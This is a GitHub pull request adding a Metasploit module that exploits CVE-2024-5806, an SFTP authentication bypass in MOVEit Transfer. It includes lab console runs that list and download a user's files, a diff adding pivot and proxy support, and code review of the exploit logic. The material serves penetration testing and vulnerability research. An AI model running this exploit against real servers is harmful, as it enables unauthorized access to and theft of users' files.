Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add aux gather module for MOVEit Transfer SFTP auth bypass (CVE-2024-5806) #19295

Merged
merged 13 commits into from
Jul 4, 2024

Conversation

sfewer-r7
Copy link
Contributor

@sfewer-r7 sfewer-r7 commented Jul 1, 2024

Overview

This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
following version are affected:

  • MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
  • MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
  • MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)

The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
the contents of a directory, and the reading of an arbitrary file.

Read our AttackerKB Rapid7 Analysis for a full technical description of both the vulnerability and exploitation.

Note

  • watchTowr released a PoC and technical analysis last week. Their analysis details an exploitation strategy that relies on leveraging a zero-day vulnerability in the third-party library “IPWorks SSH” (From vendor “/n software, Inc.”) to successfully exploit CVE-2024-5806. Additionally, their exploitation strategy relies on planting an attacker-controlled key on the target server prior to exploiting CVE-2024-5806, by leveraging the MOVEit Transfer web interface to inject untrusted content into a log file. Our analysis (and this Metasploit module) demonstrates successful exploitation of CVE-2024-5806 without leveraging either the third party zero-day vulnerability in “IPWorks SSH”, or the need to leverage the MOVEit Transfer web interface to inject an attacker-controlled key into a log file.
  • This pull request adds net-sftp to the metasploit-framework.gemspec file. This library is required for exploitation. As is the net-ssh library, but we already import that Gem. net-sftp is written by the same author as net-ssh and they both are under the same license.

Example

msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set RHOST 169.254.180.121
RHOST => 169.254.180.121
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set STORE_LOOT false
STORE_LOOT => false
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set TARGETUSER testuser1
TARGETUSER => testuser1
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > show options
Module options (auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806):
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   RHOSTS      169.254.180.121  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       22               yes       The target port
   STORE_LOOT  false            no        Store the target file as loot
   TARGETFILE  /                yes       The full path of a target file or directory to read.
   TARGETUSER  testuser1        yes       A valid username to authenticate as.
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
[*] Running module against 169.254.180.121
[*] Authenticating as: [email protected]:22
[*] Listing directory: /
dr-xr-xr-x 1 0 0 0 Jun 23 16:19 /Home/
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1/
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run TARGETFILE=/Home/testuser1/test.txt
[*] Running module against 169.254.180.121
[*] Authenticating as: [email protected]:22
[*] Downloading file: /Home/testuser1/test.txt
secrets!
[*] Auxiliary module execution completed
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > 

@sfewer-r7 sfewer-r7 changed the title CVE 2024 5806 Add aux gather module for MOVEit Transfer SFTP auth bypass (CVE-2024-5806) Jul 1, 2024

# With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get
# back a valid SFTP session which we can interact with.
::Net::SFTP.start(
Copy link
Contributor

@adfoster-r7 adfoster-r7 Jul 1, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; At some point I imagine we'll want to update this so it works through Metasploit's pivoting support, i.e. reusing comms via Meterpreter/socks proxies etc

Edit: An example being; we have a wrapper with patching net/ldap to support using Rex::Socket::Tcp and proxies support: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/ldap.rb#L175-L199 - we'll probably need something similar if net/sftp doesn't natively support reusing a sock via its initialise/start method

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great catch @adfoster-r7 thanks!, I'll poke through net/sftp and see if something like the above could work

Copy link
Contributor Author

@sfewer-r7 sfewer-r7 Jul 1, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A quick review/test shows net/ssh (which net/sftp is built on top of) has an option called :proxy that lets you specify a socket factory. So something like this will likely work as expected (I didn't test through a pivot, but it works as expected with no pivot).

diff --git a/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb b/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
index 8174613266..ca7d515522 100644
--- a/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
+++ b/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb
@@ -64,7 +64,9 @@ class MetasploitModule < Msf::Auxiliary
     transport = ::Net::SSH::Transport::Session.new(
       datastore['RHOST'],
       {
-        port: datastore['RPORT']
+        port: datastore['RPORT'],
+        # Use self as a proxy for the net/ssh library, to allow use to use Metasploit's Rex sockets, which will honor pivots.
+        proxy: self
       }
     )
 
@@ -79,6 +81,20 @@ class MetasploitModule < Msf::Auxiliary
     Msf::Exploit::CheckCode::Unknown('Connection Timeout')
   end
 
+  # This method will be used by net/ssh when creating a new TCP socket.
+  def open(host, port, connection_options = nil)
+    vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")
+    Rex::Socket::Tcp.create(
+      'PeerHost' => host,
+      'PeerPort' => port,
+      'Proxies' => datastore['Proxies'],
+      'Context' => {
+        'Msf' => framework,
+        'MsfExploit' => self
+      }
+    )
+  end
+
   def run
     # We want to change the behaviour of the build_request method. So first we alias the original build_request
     # method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.
@@ -103,7 +119,9 @@ class MetasploitModule < Msf::Auxiliary
         auth_methods: ['publickey'],
         # The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
         # key (in PEM format) every time we exploit the vulnerability.
-        key_data: [OpenSSL::PKey::RSA.new(2048).to_pem]
+        key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],
+        # Use self as a proxy for the net/ssh library, to allow use to use Metasploit's Rex sockets, which will honor pivots.
+        proxy: self
       }
     ) do |sftp|
       if File.directory? datastore['TARGETFILE']

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The module works great with the pivoting using a socks5 proxy. the portfwd and autoroute pivoting doesn't require to set the Proxies option and are transparent for the module.

msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set Proxies socks5:127.0.0.1:9090
Proxies => socks5:127.0.0.1:9090
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
[*] Running module against 192.168.166.128

[*] Authenticating as: [email protected]:22
[*] Listing directory: /
dr-xr-xr-x 1 0 0 0 Jun 1 02:15 /Home/
dr-xr-xr-x 1 0 0 0 Jun 1 02:15 /Home/testuser1/
[*] Auxiliary module execution completed

The only thing I suggest is to introduce some controls to avoid the stack trace if the proxy is not working for some reason or when the target is down

--- Proxy is down

msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > set Proxies socks5:127.0.0.1:9091
Proxies => socks5:127.0.0.1:9091
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) > run
[*] Running module against 192.168.166.128

[*] Authenticating as: [email protected]:22
[-] Auxiliary failed: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:9091).
[-] Call stack:
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:309:in `rescue in create_by_type'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:36:in `create'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket.rb:51:in `create_param'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:37:in `create_param'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:28:in `create'
[-]   /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:64:in `open'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh/transport/session.rb:69:in `initialize'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `new'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `start'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-sftp-4.0.0/lib/net/sftp.rb:36:in `start'
[-]   /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:112:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(gather/progress_moveit_sftp_fileread_cve_2024_5806) >

--- Target is down

[*] Running module against 192.168.166.122

[*] Authenticating as: [email protected]:22
[-] Auxiliary failed: Rex::HostUnreachable The host (192.168.166.122:22) was unreachable.
[-] Call stack:
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:294:in `rescue in create_by_type'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/comm/local.rb:36:in `create'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket.rb:51:in `create_param'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:37:in `create_param'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/rex-socket-0.1.57/lib/rex/socket/tcp.rb:28:in `create'
[-]   /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:64:in `open'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh/transport/session.rb:69:in `initialize'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `new'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-ssh-7.2.3/lib/net/ssh.rb:258:in `start'
[-]   /usr/share/rvm/gems/ruby-3.1.5/gems/net-sftp-4.0.0/lib/net/sftp.rb:36:in `start'
[-]   /metasploit-framework/modules/auxiliary/gather/progress_moveit_sftp_fileread_cve_2024_5806.rb:112:in `run'
[*] Auxiliary module execution completed

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @dledda-r7, commit 8422b4c adds in the above support for Metasploit's pivots, and I also catch the exceptions you list above. This seems in-line with some other modules that are directly operating on sockets.

@dledda-r7 dledda-r7 self-assigned this Jul 1, 2024
sfewer-r7 added 2 commits July 2, 2024 15:55
…remove the DefaultOptions, RPORT is covered and SSL does not make sense here.
…ew Rex::Socket::Tcp socket when creating the underlying SSH protocols socket.
sfewer-r7 and others added 2 commits July 3, 2024 10:45
…te the Gemfile.lock, as the library net/sftp was added for this auxiliary module
@sfewer-r7
Copy link
Contributor Author

sfewer-r7 commented Jul 3, 2024

Commit ee960d2 updates the Gemfile.lock to include the net/sftp library that this module expects. I have not added a Gem to the framework before so if there is a different workflow for doing this please let me know.

(a previous commit 493a45e updated the metasploit-framework.gemspec file, but not the Gemfile.lock file)

end
end

sftp.close(open_response[:handle])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we need an ensure block for this close 👀

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Or, just to confirm - is the close needed at all? I would've assumed the block variation of open would do automatic resource cleanup

Copy link
Contributor Author

@sfewer-r7 sfewer-r7 Jul 3, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The net/sftp documentation gives an example like this when using a block:

sftp.open("/path/to/file") do |response|
     raise "fail!" unless response.ok?
     sftp.close(response[:handle])
end

Looking at the implementation, yes you do need to explicitly call close in a block.

Placing this call to close in an ensure block is probably good practice.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

close is now called in an ensure block as suggested (commit 9d5ea1f9d5ea1f)

end

def recurse_dir(sftp, base_path)
sftp.dir.foreach(base_path) do |entry|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I saw the net/sftp library has a #glob method that can run recursively. Maybe this could be used here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good catch @cdelafuente-r7 , I added commit e191697e191697 which uses glob and its much nicer than the previous recurse_dir implementation

end

def read_file(sftp, file_path)
sftp.open(file_path) do |open_response|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not familiar with net/sftp, but according to the documentation, #open without an exclamation mark is an asynchronous operation and it returns immediately. Since the module execution will probably terminate immediately after this, I'm wondering if this could cause any issue?

Maybe we could consider the synchronous version of this method #open!.

I also noticed that some examples in the documentation call #loop on the object returned by asynchronous methods.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup that makes allot of sense, thanks @cdelafuente-r7 , commit 4ca2ce3 changes the calls to open, read, and close to be the sync versions (open!, read!, and close!). I reviewed the glob helper method, and that is implemented using synchronous calls so there is no need to change that.

if open_response.ok?
file_size = sftp.fstat!(open_response[:handle]).size

sftp.read(open_response[:handle], 0, file_size) do |read_response|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question here, #read will return immediately since it is asynchronous.

Some examples in the documentation call #wait on the object returned by some asynchronous methods. Or maybe considering the synchronous read! instead.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

(as per my comment above, resolved in commit 4ca2ce34ca2ce3)

Comment on lines 187 to 193
else
print_line(file_data)
end

else
print_error('SFTP read failed.')
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you think we could avoid having long if/else block to increase readability? We usually prefer returning early and avoid too much nested blocks.

Something along these lines (untested):

    sftp.open(file_path) do |open_response|
      unless open_response.ok?
        print_error('SFTP open failed. Is the TARGETFILE path correct?')
        return
      end

      file_size = sftp.fstat!(open_response[:handle]).size

      sftp.read(open_response[:handle], 0, file_size) do |read_response|
        unless read_response.ok?
          print_error('SFTP read failed.')
          next
        end
        ...

Note that maybe the #close call would need to be added to an ensure block at the end to make sure it is always called?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, using your suggestion above, I reduced the nesting in read_file by 2 levels via commit cb3966d

sfewer-r7 added 5 commits July 3, 2024 16:20
…ion. we probably dont *have* to do this (as teh SFTP session will be torn down either way), but it seems like best practise *to* so this.
…e not being waited on, so moving to the sync implmentations of these avoids that problem), thanks @cdelafuente-r7 :)
@dledda-r7 dledda-r7 merged commit f7902c2 into rapid7:master Jul 4, 2024
78 checks passed
@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 4, 2024
@dledda-r7
Copy link
Contributor

Release Notes

This module exploits an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The vulnerable versions are MOVEit Transfer 2023.0.x until 2023.0.11; MOVEit Transfer 2023.1.x until 2023.1.6; MOVEit Transfer 2024.0.x until 2024.0.2; allowing to list remote directories and reading files without authentication.

@sfewer-r7 sfewer-r7 deleted the CVE-2024-5806 branch July 4, 2024 08:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants